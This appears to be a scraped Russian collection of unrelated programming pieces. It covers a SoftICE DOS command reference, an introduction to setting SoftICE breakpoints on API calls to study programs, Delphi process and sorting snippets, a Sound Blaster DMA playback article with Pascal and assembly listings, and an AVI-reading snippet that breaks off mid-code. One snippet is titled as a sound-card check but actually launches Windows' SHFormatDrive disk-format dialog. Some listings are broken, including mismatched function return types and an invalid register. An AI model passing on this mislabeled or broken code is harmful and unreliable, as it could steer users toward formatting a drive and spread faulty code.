Если адрес не определен, команда дизассемблирует инструкции с адреса первого байта за последним байтом, дизассемблированным предыдущей командой. Если предыдущей команды дизассемблировать не было, за адрес по умолчанию принимается текущий CS:IP.
Если видимо окно кода, инструкции выводятся в окне кода.
Если для диапазона указанного адреса загружен исходный текст, в зависимости от текущего режима работы с кодом, могут быть выведены исходные строки.
Пример:
U $-10 |
Эта команда дизассемблирует инструкции, начиная за 10 (шестнадцатеричное) байтов до текущего адреса.
U .499 |
Эта команда выводит текущий файл с исходным текстом, начиная со строки 499. Окно кода должно быть видимо и находиться в режиме исходного текста.
R
R -- Показать или изменить регистры.
Синтаксис:
Руководство по Soft-ICE (DOS) - 9.
| Лаборатория Касперского выпустила совет по поводу 11 сентября: "В связи с возможными терактами в первую годовщину атаки на WTC 11 сентября рекомендуем вам в этот день не просыпаться или 10 сентября перевести свои часы на 12-е." |
R название-регистра [ [ = ]значение] ] |
Название-регистра -- Любое из следующих: AL, AH, AX, BL, BH, BX, CL, CH, CX, DL, DH, DX, DI, SI, BP, SP, IP, CS, DS, ES, SS Или FL значение -- Если название-регистра - любое, кроме FL, значение - шестнадцатеричное значение или выражение. Если название регистра - FL, то значение - серия из одного или более следующие символов флагов, каждый с предшествующим ему знаком плюс или минус :
O (флаг Переполнения) (Overflow) D (флаг Направления) (Direction) I (флаг Прерывания) (Interrupt) S (флаг Знака) (Sign) Z (флаг Нуля) (Zero) A (флаг Вспомогательного переноса) (Auxiliary carry) P (флаг Паритета) (Parity) C (флаг Переноса) (Carry).
Комментарии:
Команда R показывает или изменяет регистры.
Без параметров выводит значения всех регистров и флагов, а также инструкцию по адресу текущего CS:IP.
Если название регистра указано без значения, Soft-ICE показывает текущие значения указанного регистра и спрашивает у вас новое значение. Если название регистра - FL, установленные флаги выводятся подсвеченными символами верхнего регистра; сброшенные флаги выводятся без подсветки в нижнем регистре. Для сохранения текущего значения регистра, нажмите ВВОД.
Если указаны и название регистра, и значение, содержимое указанного регистра заменяется указанным значением.
Чтобы изменить значение флага, используйте FL как имя регистра, сопровождаемое символами флагов, значения которых вы хотите переключить. Для установки флага поставьте перед символом флага знак плюс. Чтобы сбросить флаг, поставьте перед символом флага знак минус. Флаги могут быть указаны в любом порядке.
Примеры:
R AH 5 |
Эта команда устанавливает регистр AH равным 5.
R FL = OZP |
Эта команда переключает значения флагов O, Z и P.
R FL |
Эта команда выводит текущие значения флагов и предоставляет возможность их изменения.
R FL O +A -C |
Эта команда переключает значение флага O, устанавливает флаг A и сбрасывает флаг C.
MAP
MAP -- Показать карту памяти системы.
Синтаксис:
MAP |
Комментарии:
Команда MAP выводит названия, местоположение и размеры компонент памяти системы. Размер указывается в параграфах. Один параграф эквивалентен 10 (шестнадцатеричное) байтам.
Компонент, на который в настоящее время указывает CS:IP, подсвечивается.
Используйте команду MAP когда:
Произошел останов и CS:IP в неизвестной области памяти. Вы хотите получить контроль над резидентной или системной программой. Точка останова на диапазон может быть установлена основываясь на адресе начала и размере, отраженных командой MAP. Вы подозреваете программу или компонент системы в записи поверх кода вне своей области памяти. MAP используется, чтобы получить адрес памяти области для использования в команде CSIP. Вам необходимо выяснить, какая резидентная программа перехватывает определенные векторы прерываний.Пример:
MAP |
Вот - пример вывода, произведенного командой:
Начало Длина 0000:0000 0040 Таблица Векторов Прерываний 0040:0000 0030 Переменные ROM BIOS 0070:0000 00FE Система ввода/вывода 016E:0000 06B7 DOS 0842:0000 02CE Таблицы файлов и Буферы DOS A000:0000 5E00 Системная шина F000:0000 1000 ROM BIOS
Версии DOS ниже, чем 3.1 выдают адреса программ вместо вывода их названий.
D, DB, DW, DD
D, DB, DW, DD -- Показать память.
Синтаксис:
D [размер] [адрес] [L[ = ]длина] |
Размер -- B -- Байт W -- Слово D -- Двойное Слово.
Длина -- Число байтов, которое должно быть выведено.
Комментарии:
Команда D выводит содержимое памяти по указанному адресу.
Содержимое выдается в формате указанного размера. Если размер не определен, вывод произойдет в последнем используемом формате. Для всех форм также выдается ASCII представление.
Если адрес не определен, команда выводит память по адресу начинающемуся с первого байта после последнего показанного байта.
Если длина не определена, по умолчанию принимается восемь строк или меньше если высота окна меньше.
Если окно данных видимо, данные выводятся в окне данных и длина игнорируется.
Пример:
DW DS:00 L=8 |
Эта команда показывает в формате слова (WORD) и в ASCII- формате значение первых восьми байтов текущего сегмента данных.
E, EB, EW, ED
E, EB, EW, ED -- Редактировать память.
Синтаксис:
E [размер] адрес [список-данных] |
Размер -- B -- Байт W -- Слово D -- Двойное Слово.
Список данных -- список объектов данных указанного размера (Байты, Слова или Двойные Слова) или строк в кавычках, разделенных запятыми или пробелами. Строка может начинаться одинарной или двойной кавычкой.
Комментарии:
Команды E показывают содержимое памяти по указанному адресу и позволяет вам редактировать значения.
Эта команда показывают содержимое памяти в формате ASCII и в формате указанного размера.
Редактор памяти создан для быстрой ее модификации. Память можно редактировать вводя ASCII-символы или вводя значения размером байт, слово или двойное слово. Если размер не определен, будет принят последний использованный размер.
Вот клавиши редактирования памяти:
-- Перемещает курсор вверх -- Перемещает курсор вниз -- Перемещает курсор вправо -- Перемещает курсор влево.
ПРОБЕЛ -- Перемещает курсор на следующий элемент TAB -- переключает между числовым и ASCII-областями ESC или ВВОД -- Выход из редактора памяти.
После ввода значения обновляются реальные ячейки памяти. Все числовые значения - шестнадцатеричные числа. Для перехода между ASCII и числовой областями экрана нажмите клавишу TAB.
Если окно данных видимо, данные редактируются в окне данных, иначе данные редактируются в окне команд.
Длина данных по умолчанию принимается 8 строк, если в окне команд, или равной размеру окна данных, если оно видимо.
При отсутствии параметров, курсор перемещается в окно данных, если оно видимо. Если окно данных не видимо, данные редактируются в окне команд по последнему отображенному или редактированному адресу.
Примеры:
EB 1000:0 |
Эта команда выводит в формате байта до шести строк, содержащих как числовое, так и ASCII представление значений данных, начиная с ячейки 1000:0000. Вы можете редактировать значения отображенных строк. EB 8000:0 "Привет",0D Эта команда заменяет значения, начинающиеся с ячейки 8000:0000, строкой "Привет", сопровождаемой знаком возврата каретки.
INT?
INT? -- Выводит номер последнего прерывания.
Синтаксис:
INT? |
Комментарии:
Команда INT? отображает адрес и номер последнего происшедшего прерывания.
Пример:
INT? |
Вот пример экрана, выданного командой INT?:
Last Interrupt: 16 At: 0070:0255 |
Этот пример показывает, что последним прерыванием, сгенерированным системой перед вызовом окна Soft-ICE, было прерывание 16 (шестнадцатеричный номер) по адресу 0070:0255H. Если последнее происшедшее прерывание было программным, дизассемблирование кода по адресу 0070:0255H покажет инструкцию прерывания. Если это было аппаратное прерывание, дизассемблирование кода покажет команду, которая выполнялась когда произошло аппаратное прерывание.
? Или H
? Или H -- Выводит справочную информацию.
Основы работы с SoftIce.
| Любимая песня Модерн Токинг для компьютерщика: "You my hard, you my soft". |
Самое верхнее окно - окно регистров (wr - сокращенное обозначение, используемое в SoftICE). В этом окне отображается содержимое регистров процессора. Отдельно от остальных в правом углу отображается состояние регистра флагов (каждого флага в отдельности). Наибольшее значение для нас имеет флаг нуля (изображается символом z). Заглавная буква Z означает, что флаг установлен, строчная - флаг сброшен. Под содержимым регистра флагов отображается также очень полезная для нас информация, но подробно я расскажу о ней в следующих статьях. Окно регистров включается и выключается командой wr. Следующее - окно данных. В нем мы можем наблюдать содержимое интересующего нас участка памяти. Существует несколько различных форм представления информации в этом окне: db - информация отображается в виде байтов (byte) dw - информация отображается в виде слов (word) dd - информация отображается в виде двойных слов (double word - dword) Информация в этом окне меняется при изменении содержимого участка памяти, т.е. Вы всегда видите именно то, что находится в данный момент в памяти. Окно включается и выключается командой wd. Ниже расположено окно кода. В нем отображается дизассемблированный текст исследуемой программы. Курсор (красная строка для рекомендованных настроек) указывает на команду, которая будет выполнена на следующем шаге. В нижней части окна (на желтой полоске) показано, в каком модуле мы в данный момент находимся. Переключается окно с помощью команды wc. Самое нижнее окно - окно команд SoftICE. Здесь Вы вводите команды и получаете некоторую полезную информацию о работе SoftICE. Т.к. выводимая информация целиком зависит от введенных команд, то описывать ее мы будем для каждой команды отдельно.
Работа всех Windows-приложений основана на вызове API-функций. Это очень удобно и выгодно. Например, для вывода окна сообщения с некоторым текстом, достаточно вызвать функцию MessageBoxA с адресом выводимой строки в качестве аргумента. Замечательной особенностью SoftICE является то, что Вы можете устанавливать точки прерывания на вызовы API-функций. Установив точку прерывания на некоторую строку программы, Вы сообщаете SoftICE, что при достижении этой строки программа должна прервать свое выполнение и возвратить управление отладчику. Например, Вы установили точку прерывания на выполнение команды по адресу 40АО0020, а затем запускаете программу с адреса 40АО0000. Дойдя до строки с адресом 40АО0020, программа прервется, управление вновь вернется в SoftICE, и Вы сможете узнать содержимое регистров процессора, участков памяти, а также, при необходимости, что-то изменить.
Точка прерывания на вызов API-функции устанавливается точно так же, как и не выполнение команды по определенному адресу. При вызове функции программа прерывается в самом ее начале, и после этого Вы можете выполнить необходимые Вам действия. Обычно точку прерывания на вызов API-функции устанавливают, когда хотят узнать, из какого места программы она вызывается. Допустим, в программе имеется следующий фрагмент:
некоторый код ... 40200100 call MessageBoxA 40200105 cmp eax, 01 ... продолжение программы |
Активизируем SoftICE (Ctrl+D) Устанавливаем точку прерывания на вызов функции MessageBoxA (bpx MessageBoxA, советуем всегда писать общепринятые имена функций с заглавными и строчными буквами, SoftICE их не различает, а Вы так быстрее запомните). При этом происходит следующее: SoftICE устанавливает точку прерывания на выполнение первой команды указанной функции Выходим в Windows (F5) Выполняем те действия, в результате которых произойдет вызов функции MessageBoxA При вызове этой функции (сообщение в окне команд) программа прерывается в модуле USER (указано в низу окна кода) и активизируется SoftICE, при этом курсор установлен на первой команде функции MessageBoxA. Чтобы узнать, из какого места произошел ее вызов, используем команду p ret (быстрая клавиша F12) - продолжение программы до выполнения команды ret (команда возврата из подпрограммы) После этого, программа вновь прерывается по адресу 40200105 (на этой строке установлен курсор), а на предыдущей строке мы видим, что происходит вызов MessageBoxA. Вот мы и нашли то место, откуда вызывается функция MessageBoxA
Мы описали лишь незначительную часть команд SoftICE. Остальные подробно рассмотрим по мере их использования в наших следующих исследованиях конкретных программ. Что ж, мы уже немного освоились в SoftICE и вплотную подошли к необходимости использования дизассемблера. Без него никакого серьезного исследования программы Вам провести не удастся. Наш следующий рассказ о IDA Pro.Отсортировать выполнение процессов в системе.
Автор: Евгений Левшаков WEB сайт: mcsa.ruНужно отсортировать выполнение процессов в системе, т.е. поочередно выполнить несколько процессов, тем самым автоматизировать некоторый " трудовой процесс" ? Этот код предоставляет такую возможность. Вы создаете " кадр" существующих в системе процессов, находите в нем нужный вам процесс по его ID и обрабатываете его сообщение.
unit PIDProcessing;
interface
function PIDExists(PID:Integer):boolean;
function RunProgram(ExeProgram:String):integer;
implementation
uses TLHelp32, Windows;
function PIDExists(PID:Integer):boolean;
{возвращает true, если процесс найден}
var hSnap:Cardinal;
// Snapshot (" кадр" ) запущенных процессов в системе
ProcessEntry:TProcessEntry32;
// информация о процессе
Finding:LongBool;
// возвращает true,
если первый процесс скопирован в буфер,
иначе false
Found:Boolean;
// возвращает true,
если в системе есть запущенные процессы
begin
hSnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS,0);
{создаем " кадр" запущенных процессов}
if hSnap=0 then
begin
Result:=False;
Exit;
end;
Found:=False;
ProcessEntry.dwSize:=SizeOf(ProcessEntry);
Finding:=Process32First(hSnap,ProcessEntry);
{предоставляет информацию
о первом процессе в " кадре" }
While Finding do
begin
if PID=ProcessEntry.th32ProcessID then Found:=True;
{если необходимый процесс найден,
возвращаем true}
Finding:=Process32Next(hSnap,ProcessEntry);
{предоставляет информацию
о следующем процессе в " кадре" }
end;
CloseHandle(hSnap);
Result:=Found;
end;
function RunProgram(EXEProgram:String):Boolean;
{Возвращает true,
если процесс системы выполнен}
var si:TStartupInfo;
{определение свойств главного окна,
создаваемого приложения}
pi:TProcessInformation;
{информация о созданном процессе
и его главном потоке}
begin
FillMemory(@si,sizeof(si),0);
si.cb:=Sizeof(si);
Result:=False;
if EXEProgram< > '' then
if CreateProcess(nil,PChar(EXEProgram),
nil,nil,false,
NORMAL_PRIORITY_CLASS,nil,nil,si,pi) then
{создаем процесс}
begin
{до тех пор пока процесс существует в " кадре"
обрабатываем его сообщение}
While PIDExists(pi.dwProcessId)
do Application.ProcessMessages;
CloseHandle(pi.hProcess);
{закрываем процесс}
CloseHandle(pi.hThread);
{останавливаем поток,
порожденный процессом}
Result:=True;
end;
end;
end.
|
Сортировка двух связанных списков по целочисленным значениям одного из них.
Автор: ___Nikolay WEB-сайт: http://delphiworld.narod.ru
procedure SortTwoListsByIntValues(lbNum, lbNames: TStrings);
var
i, j, b_val, b_j: integer;
b_val_name: string;
begin
if lbNum.Count > 1 then
begin
for i := 0 to lbNum.Count - 2 do
begin
b_val := StrToInt(lbNum[i]);
b_val_name := lbNames[i];
b_j := i;
for j := i + 1 to lbNum.Count - 1 do
begin
if StrToInt(lbNum[j]) < b_val then
begin
b_val := StrToInt(lbNum[j]);
b_val_name := lbNames[j];
b_j := j;
end;
end;
lbNum[b_j] := lbNum[i];
lbNum[i] := IntToStr(b_val);
lbNames[b_j] := lbNames[i];
lbNames[i] := b_val_name;
end;
end;
end;
Сортировка строк с украинскими символами.
Автор: Алексей Глеб WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сортировка строк с украинскими символами
Принцип работы функции такой же как и у стандартной функции
CompareText из SysUtils. Поскольку для украинских символов
строки сортируются этой функцией "как попало", то я решил
написать свой CompareUkrText.
Зависимости: System
Автор: Алексей Глеб, noodlesf@mail.ru, Чернигов
Copyright: Собственное написание (Алексей Глеб)
Дата: 1 февраля 2003 г.
***************************************************** }
unit UkrSort;
interface
function CompareUkrText(S1, S2: string): integer;
//массив, который заменит ASCI таблицу
var
Chars: array[1..136] of char =
('1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'A', 'B', 'C', 'D', 'E',
'F', 'G',
'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o',
'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'А', 'Б', 'В', 'Г',
'Ґ', 'Д',
'Е', 'Ё', 'Є', 'Ж', 'З', 'И', 'І', 'Ї', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П',
'Р', 'С',
'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ', 'Ы', 'Ь', 'Э', 'Ю', 'Я', 'а',
'б', 'в',
'г', 'ґ', 'д', 'е', 'ё', 'є', 'ж', 'з', 'и', 'і', 'ї', 'й', 'к', 'л', 'м',
'н', 'о',
'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш', 'щ', 'ъ', 'ы', 'ь', 'э',
'ю', 'я');
implementation
//сама функция
function CompareUkrText(S1, S2: string): integer;
function GetNum(C: char): integer;
//динам. функция получения номера символа из нашего массива
var
i: integer;
begin
Result := 0;
for i := 1 to 136 do
if Chars[i] = C then
begin
Result := i;
exit;
end;
end;
function CompCh(C1, C2: integer): integer;
//динам. функция определения "что больше???"
begin
if C1 = C2 then
Result := 0;
if C1 > C2 then
Result := 1;
if C1 < C2 then
Result := -1;
end;
var
i, xS1, xS2, CurrR: integer;
begin //начало функции сортировки
Result := 0;
CurrR := 0; //временный результат
if S1 <> S2 then
begin
//сканирование сток посимвольно
for i := 1 to Length(S1) do
begin
if Length(S2) >= i then
begin
xS1 := GetNum(S1[i]);
xS2 := GetNum(S2[i]);
if (xS1 <> 0) and (xS2 <> 0) and (xS1 <> xS2) then
CurrR := CompCh(xS1, xS2)
else
begin
if (xS1 = 0) or (xS2 = 0) then
begin
if xS2 = 0 then
CurrR := 1;
if xS1 = 0 then
CurrR := -1;
end;
end;
if CurrR <> 0 then
begin
Result := CurrR;
Exit;
end;
end
else
begin
Result := CurrR;
Exit;
end;
end;
end;
end;
end.
Пример использования:
function CustomSortProc(Item1, Item2: TListItem; ParamSort: integer): integer; stdcall; begin Result := CompareUkrText(Item1.Caption, Item2.Caption); end; procedure TForm1.FormClick(Sender: TObject); begin ListView1.CustomSort(@CustomSortProc, 0); end;
Проверить, установлена ли звуковая карта.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
begin
ShellExecute(Application.Handle,
PChar('Open'),
PChar('C:\Windows\Rundll32.exe'),
PChar('Shell32.dll,SHFormatDrive'),
PChar('C:\Windows'),
SW_SHOWNORMAL);
end;
Программирование Sound Blaster в защищенном режиме процессора.
Оформил: DeeCo
Немного истории Когда разработчики компании Intel создавали первый 16-разрядный процессор I8086, они, скорее всего, рассматривали его как переходную модель от 8- к 16-разрядным процессорам и не могли даже предположить, что он станет образцом, совместимость с которым будут вынуждены поддерживать как сама компания Intel в дальнейших разработках, так и большинство ее конкурентов. В отличие от своего 8-разрядного предшественника I8080, у которого была 16-разрядная шина адреса, новый процессор имел два режима адресации: 16-разрядный - для обеспечения совместимости с программами, написанными для I8080, и 32-разрядный. Однако последний был не линейным, а сегментированным, в результате чего полный физический адрес состоял только из 20 разрядов. Переход от 64-Кбайт к 1-Мбайт адресному пространству казался тогда огромным шагом вперед. Возможно даже, этот процессор несколько опередил свое время, по крайней мере вскоре Intel вынуждена была сделать маленький шаг назад и выпустить модификацию этого процессора, продолжающую оставаться 16-разрядной внутри, но имеющую 8-разрядную внешнюю шину. Новинка, получившая название I8088, была выбрана фирмой IBM, до того момента выпускавшей только большие ЭВМ, для ее первого ПК. Немаловажную роль в выборе именно этого процессора сыграло наличие 8-разрядной шины, позволявшей использовать в конструкции компьютера дешевые 8-разрядные устройства, разработанные для I8080. Применение контроллера прямого доступа к памяти (DMAC - Direct Memory Access Controller), относящегося к этой категории устройств, сразу ограничило максимальный размер передаваемого им единого блока информации 64 Кбайт. Кроме того, фирма IBM решила сэкономить на специальном дешифраторе адреса для DMAC и, отказавшись от применения сегментированной модели памяти для этого устройства, подключила его адресные выходы к младшим разрядам 20-разрядной адресной шины напрямую, а для задания старшей части адреса использовала 4-разрядный внешний порт, в результате чего оказалась невозможной пересылка данных через границу сегмента размером 64Кбайт. Компромиссные решения, принятые Intel и IBM, неожиданно стали промышленным стандартом, а со всеми недостатками когда-то выбранной архитектуры сегодня приходится бороться программистам. Использование DMA для записи и воспроизведения звука Первоначально при разработке DMAC предполагалось, что одним из основных его назначений будет более быстрая, чем у процессора, скорость пересылки данных из одной области памяти в другую. В случае с процессором I8080 так и было, но у семейства I8086/88 появились новые команды работы со строками, в результате чего такое использование DMAC оказалось нецелесообразным. С этого времени контроллер прямого доступа к памяти обычно применяется только для передачи данных между памятью и некоторыми периферийными устройствами. К стандартным устройствам такого типа можно отнести контроллер гибких дисков, а к нестандартным (не поддерживаемым на уровне BIOS) - звуковые платы, сканеры, стримеры etc. Причем если программы для сканеров и стримеров пишут в основном разработчики этих устройств, то программировать звуковые платы сегодня вынуждены многие программисты. Стандартом de facto среди звуковых плат для ПК стала наиболее распространенная - Sound Blaster фирмы Creative Labs. На ее примере мы и рассмотрим способы программирования звуковых плат. Считывать звуковые данные с платы или воспроизводить их можно и без применения DMAC, работая только с ее портами, но при этом процессор будет полностью загружен и не сможет выполнять другую работу. Кроме того, объем записываемых или воспроизводимых данных ограничен объемом доступной процессору оперативной памяти, поэтому такой способ не получил широкого распространения. Обычно компьютер одновременно с воспроизведением звука должен выполнять и другую работу, зачастую более ресурсоемкую. Тогда без DMAC не обойтись. В реальном режиме работы процессора для вывода звука через контроллер прямого доступа к памяти на звуковую плату необходимо выделить память для звуковых данных, запрограммировать эту плату и DMAC, а также переопределить прерывание. Процессор после этого может заниматься другой работой до наступления аппаратного прерывания, генерируемого звуковой платой по окончании звуковой последовательности. Затем процессор должен снабдить пару DMAC-звуковая плата очередной порцией данных. При этом программисту необходимо позаботиться о том, чтобы выделенный буфер, содержащий звуковую последовательность, не пересекал границу сегмента размером 64 Кбайт, а также требуется преобразовать 32-разрядный сегментированный адрес в 20-разрядный несегментированный. В защищенном режиме работы процессора последовательность действий в общем такая же, но из-за того, что процессор работает с дескрипторами вместо сегментов, в то время как DMAC продолжает работать с физической адресацией памяти, код программы должен несколько отличаться от кода программы, работающей в реальном режиме. При выделении памяти для буфера, содержащего звуковую последовательность, необходимо позаботиться, чтобы она располагалась в первом (нижнем) мегабайте. Это можно обеспечить либо с помощью специальных средств, предусмотренных разработчиками транслятора или библиотек, либо воспользовавшись прерыванием 31h. Кроме того, необходимо знать как реальный физический адрес выделяемого блока памяти, чтобы сообщить его DMAC, так и адрес, содержащий дескриптор, чтобы он мог быть использован процессором при записи в буфер звуковых данных. Формат WAV-файла В нашем журнале (Д. В. Солдатенков. Программируем Sound Blaster. "Мир ПК", #9/94) уже были опубликованы сведения об основах программирования Sound Blaster и формате VOC-файла (стандарт Creative), однако сегодня более распространен формат WAV (стандарт Microsoft Windows). Каждый из форматов допускает различные варианты представления заголовка. Упрощенная структура двух наиболее часто встречающихся вариантов для формата WAV приведена в таблице.| Структура WAV-файла. | ||
| Смещение от начала файла. | Длина. | Описание. |
| 0h. | 4h. | Идентификатор формата ('RIFF'). |
| 4h. | 4h. | Длина блока данных (длина файла - 8h). |
| 8h. | 4h. | Идентификатор блока звуковых данных ('WAVE'). |
| 0ch. | 4h. | Идентификатор подблока заголовка ('fmt" - с пробелом в конце). |
| 10h. | 4h. | 000ch/0010h - длина подблока заголовка. |
| 14h. | 2h. | 01h - тип формата представления данных. |
| 16h. | 2h. | Число каналов (1 - моно, 2 - стерео). |
| 18h. | 2h/4h. | Частота дискретизации, Гц. |
| 1ah/1ch. | 2h/4h. | Скорость передачи данных, байт/с (произведение числа каналов, частоты дискретизации и разрядности в байтах). |
| 1ch/20h. | 2h. | Числов байт для представления одного отсчета (1 - 8 бит моно, 1 - 16 бит стерео). |
| 1eh/22h. | 2h. | Разрядность, бит (8, 16). |
| 20h/24h. | 4h. | Идентификатор подблока данных ('data'). |
| 24h/28h. | 4h. | Длина звуковых данных. |
| 28h/2ch. | Звуковые данные. |
program playwavp; {воспроизведение 8-битного звука}
{в защищенном режиме процессора}
{$D+,L+,I+,R+,S+,V+}
uses dos, winapi;
const
BlasterPort: word = $220; {номер порта Sound Blaster}
BlasterIRQ: word = 5; {номер прерывания Sound Blaster}
BlasterDMAl: word = 1; {номер канала DMA Sound Blaster}
maxlen = 35000; {длина звукового буфера}
{ Seg0040 = $40;}
SouBlas: Boolean = False; {было ли прерывание от SB }
function clock: longint; {функция определения времени}
begin
clock := MemL[Seg0040: $6C];
end;
var
ExitSave: Pointer; {адрес старой программы выхода в DOS}
SBold: pointer; {адрес обработчика прерывания Sound Blaster'a}
SBIRQ: byte; { номер прерывания Sound Blaster'a }
{$F+}
procedure SBint;
interrupt; { обработчик прерывания SB }
begin
SouBlas := True;
Port[$20] := $20;
end;
procedure MyExit; {дополнительная процедура при выходе в DOS}
begin
ExitProc := ExitSave;
SetIntVec(SBIRQ + 8, SBold);
end;
{$F-}
procedure IntInit(sbi: byte); {установка нового вектора} {прерывания и т.д.}
begin { sbi - номер аппаратного прерывания SB }
if sbi < 8 then
SBIRQ := sbi
else
SBIRQ := 2;
GetIntVec(SBIRQ + 8, SBold);
SetIntVec(SBIRQ + 8, @SBint); {переопределение} {прерывания SB}
ExitSave := ExitProc; {переопределение} {процедуры выхода}
ExitProc := @MyExit;
end;
procedure WriteCommand(Comm: byte); { процедура записи} {команды в регистр SB }
begin
while (Port[BlasterPort + $0C] and $80) <> 0 do
;
Port[BlasterPort + $0C] := Comm;
end;
procedure NotSupport; { вывод на экран сообщения }
begin
writeln('Format not supported');
halt;
end;
var
longi: longint; {рабочая ячейка}
arr1: pointer; {для выравнивающего массива}
pusto: word; {длина выравнивающего массива}
sndp: pointer; {для массива звуковых отсчетов}
DMAPage: byte; {номер 64K сегмента для записи} {в регистр DMA)
DMAOfs :word; {смещение звуковой последовательности}{в нижней памяти}
procedure GetSBMem; {выделение буфера } {нижней памяти для SB/DMA}
begin
longi := GlobalDosAlloc(16);
arr1 := ptr(longi and $0FFFF, 0); {селектор нижней памяти}
longi := $FFFF - (((longi shr 16) shl 4) and $FFFF) + 1;
pusto := longi; {столько осталось до начала} {следующего 64k сегмента}
GlobalDosFree(seg(arr1^));
longi := GlobalDosAlloc(pusto);
arr1 := ptr(longi and $0FFFF, 0); {селектор нижней} {памяти (выравн.масс.)}
longi := GlobalDosAlloc(maxlen);
sndp := ptr(longi and $0FFFF, 0); {селектор нижней} {памяти (для звука)}
DMAPage := longi shr 28;
DMAofs := 0;
end;
procedure FreeSBMem; {возвращение нижней памяти в систему}
begin
GlobalDosFree(seg(sndp^));
GlobalDosFree(seg(arr1^));
end;
const
dmap: array[0..3] of byte = ($87, $83, $81, $82); {номера} {регистров DMA}
var
i: word; {рабочая ячейка}
t, friq: word; {временной параметр/частота дискретизации}
lenfil: word; {длина считываемой части звуковых данных}
snd: file; {звуковой файл}
riff: array[0..15] of char; {массив для чтения} {неиспольз. частей заголовка}
begin {the main program}
if paramcount <> 1 then
begin
writeln;
writeln("Usage: playwave filename.wav");
writeln;
halt;
end;
IntInit(BlasterIRQ); { переустанавливаем прерывания }
Assign(snd, paramstr(1));
Reset(snd, 1);
BlockRead(snd, riff, 16); { $00}
BlockRead(snd, longi, 4); { $10 длина заголовка}
BlockRead(snd, i, 2); { $14}
BlockRead(snd, i, 2); { $16 число каналов}
if i <> 1 then
notsupport;
BlockRead(snd, friq, 2); { $18 частота дискретизации}
Seek(snd, longi + $12); { $1A пропускаем заголовок} {до предпосл.слова}
BlockRead(snd, i, 2); { разрядность}
if i <> 8 then
notsupport;
GetSBMem; {запрашиваем нижнюю память для звука}
BlockRead(snd, longi, 4); { 'data'}
BlockRead(snd, longi, 4); { длина данных}
if longi > maxlen then
lenfil := maxlen
else
lenfil := longi;
BlockRead(snd, sndp^, lenfil); {звуковые данные}
close(snd);
WriteCommand($D3); {включаем звук}
t := 256 - 1000000 div friq;
WriteCommand($40); {задаем частоту дискретизации}
WriteCommand(t);
Port[$21] := Port[$21] and not (1 shl BlasterIRQ); {разрешаем прерывание}
Port[$A] := BlasterDMAl + 4; {маскируем DMA }
Port[$C] := 0; {сбрасываем триггер}
Port[$B] := BlasterDMAl + $48; {задаем режим передачи }
Port[$2] := lo(DMAOfs); {задаем адрес буфера}
Port[$2] := hi(DMAOfs);
Port[dmap[BlasterDMAl]] := DMAPage; {задаем 64k страницу}
Port[BlasterDMAl * 2 + 1] := lo(lenfil - 1); {длина звуковой}
{последовательности}
Port[BlasterDMAl * 2 + 1] := hi(lenfil - 1);
Port[$A] := BlasterDMAl; {размаскируем DMA }
WriteCommand($14); {начинаем воспроизведение звука}
WriteCommand(lo(lenfil - 1));
WriteCommand(hi(lenfil - 1));
longi := clock; {на всякий случай ограничим по времени}
while (SouBlas = false) and (longi + 50 > clock) do
;
if not SouBlas then
Port[$20] := $20; {сбрасываем DMA }
i := Port[BlasterPort + $0E]; {сбрасываем Sound Blaster}
WriteCommand($D1); {выключаем звук}
Port[$21] := Port[$21] or (1 shl BlasterIRQ); {запрещаем прерывание}
FreeSBMem; {возвращаем память в систему}
end.
Листинг 2. Процедуры выделения и освобождения нижней памяти для звукового буфера
var
m1, m2, m3: word; { флаги процедур выделения памяти: }
{ 4 - успешно, 5 - ошибка, 2 - не выделялась }
procedure GetSBMem; {выделение буфера нижней памяти} {для SB/DMA}
var
j: word;
begin
j := (longint(maxlen) + 15) div 16; {длина блока} {в параграфах}
m1 := 2;
m2 := 2;
m3 := 2;
asm
mov ax,$0100
mov bx,j
int $31 {запрашиваем память}
rcl m1,1 {запоминаем CF}
mov bx,$1000
mov cx,ax
and cx,$fff
sub bx,bc {вычисляем размер до конца сегмента}
cmp j,bx
jb @l1 {если достаточно места, уходим}
push bx
mov ax,$0101
int $31 {возвращаем память}
pop bx
mov ax,$0100
int $31 {забираем память до конца 64k-сегмента}
rcl m2,1 {запоминаем CF}
mov word ptr [arr1+2],dx {сохраняем селектор}
mov ax,$0100
mov bx,j
int $31 {запрашиваем память для звукового буфера}
rcl m3,1 {запоминаем CF}
mov bx,ax
mov ax,0
adc ax,ax
mov m3,ax {запоминаем CF}
@l1:
mov word ptr [sndp+2],dx {сохраняем селектор}
xor dx,dx
mov word ptr [sndp],dx {сохраняем смещение}
mov ax,bx
shl ax,4
mov DMAOfs,ax
shr bx,12
mov DMAPage,bl
end;
if ((m1 and 1) or (m2 and 1) or (m3 and 1)) <> 0 then
halt;
end;
procedure FreeSBMem; {возвращение нижней памяти в систему}
begin
asm
mov ax,$0101
mov dx,word ptr[sndp+2]
int $31
end;
if m2 = 4 then
asm
mov ax,$0101
mov dx,word ptr[arr1+2]
int $31
end;
end;
Получение информации о звуковых файлах.

// First, put a memo, button and a open dialog on an empty form.
// Then use the following code to show the information of a avi file.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure ReadAviInfo(FileName: string);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.ReadAviInfo(FileName: string);
var
iFileHandle: Integer; // File handle
// Needed for positioning in the avi file
Aviheadersize: integer;
Vheadersize: integer;
Aviheaderstart: integer;
Vheaderstart: integer;
Aheaderstart: integer;
Astrhsize: integer;
// Temporary values
TempTest: String[5];
TempSize: Integer;
